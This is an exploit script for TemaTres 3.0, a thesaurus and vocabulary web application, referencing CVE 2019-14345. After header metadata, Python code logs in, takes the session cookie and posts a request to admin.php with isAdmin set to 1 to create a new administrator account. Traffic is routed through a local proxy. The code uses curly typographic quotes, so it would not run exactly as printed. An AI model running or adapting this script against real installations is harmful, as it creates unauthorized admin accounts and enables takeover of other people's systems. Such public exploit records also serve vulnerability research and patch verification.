74 lines
No EOL
2 KiB
Text
74 lines
No EOL
2 KiB
Text
# Exploit Title: TemaTres 3.0 — Cross-Site Request Forgery (Add Admin)
|
||
# Author: Pablo Santiago
|
||
# Date: 2019-11-14
|
||
# Vendor Homepage: https://www.vocabularyserver.com/
|
||
# Source: https://sourceforge.net/projects/tematres/files/TemaTres%203.0/tematres3.0.zip/download
|
||
# Version: 3.0
|
||
# CVE : 2019–14345
|
||
# Reference:https://medium.com/@Pablo0xSantiago/cve-2019-14345-ff6f6d9fd30f
|
||
# Tested on: Windows 10
|
||
|
||
# Description:
|
||
# Web application for management formal representations of knowledge,
|
||
# thesauri, taxonomies and multilingual vocabularies / Aplicación para
|
||
# la gestión de representaciones formales del conocimiento, tesauros,
|
||
# taxonomías, vocabularios multilingües.
|
||
|
||
#Exploit
|
||
|
||
import requests
|
||
import sys
|
||
|
||
session = requests.Session()
|
||
|
||
http_proxy = “http://127.0.0.1:8080"
|
||
https_proxy = “https://127.0.0.1:8080"
|
||
|
||
proxyDict = {
|
||
“http” : http_proxy,
|
||
“https” : https_proxy
|
||
}
|
||
|
||
url = ‘http://localhost/tematres/vocab/login.php'
|
||
values = {‘id_correo_electronico’: ‘pablo@tematres.com’,
|
||
‘id_password’: ‘admin’,
|
||
‘task’:’login’}
|
||
|
||
r = session.post(url, data=values, proxies=proxyDict)
|
||
cookie = session.cookies.get_dict()[‘PHPSESSID’]
|
||
|
||
print (cookie)
|
||
|
||
host = sys.argv[1]
|
||
user = input(‘[+]User:’)
|
||
lastname = input(‘[+]lastname:’)
|
||
password = input(‘[+]Password:’)
|
||
password2 = input(‘[+]Confirm Password:’)
|
||
email = input(‘[+]Email:’)
|
||
|
||
if (password == password2):
|
||
#configure proxy burp
|
||
|
||
data = {
|
||
‘_nombre’:user,
|
||
‘_apellido’:lastname,
|
||
‘_correo_electronico’:email,
|
||
‘orga’:’bypassed’,
|
||
‘_clave’:password,
|
||
‘_confirmar_clave’:password2,
|
||
‘isAdmin’:1,
|
||
‘boton’:’Guardar’,
|
||
‘userTask’:’A’,
|
||
‘useactua’:’’
|
||
|
||
}
|
||
headers= {
|
||
‘Cookie’: ‘PHPSESSID=’+cookie
|
||
}
|
||
request = session.post(host+’/tematres/vocab/admin.php’, data=data,
|
||
headers=headers, proxies=proxyDict)
|
||
print(‘+ — — — — — — — — — — — — — — — — — — — — — — — — — +’)
|
||
print(‘Status Code:’+ str(request.status_code))
|
||
|
||
else:
|
||
print (‘Passwords dont match!!!’) |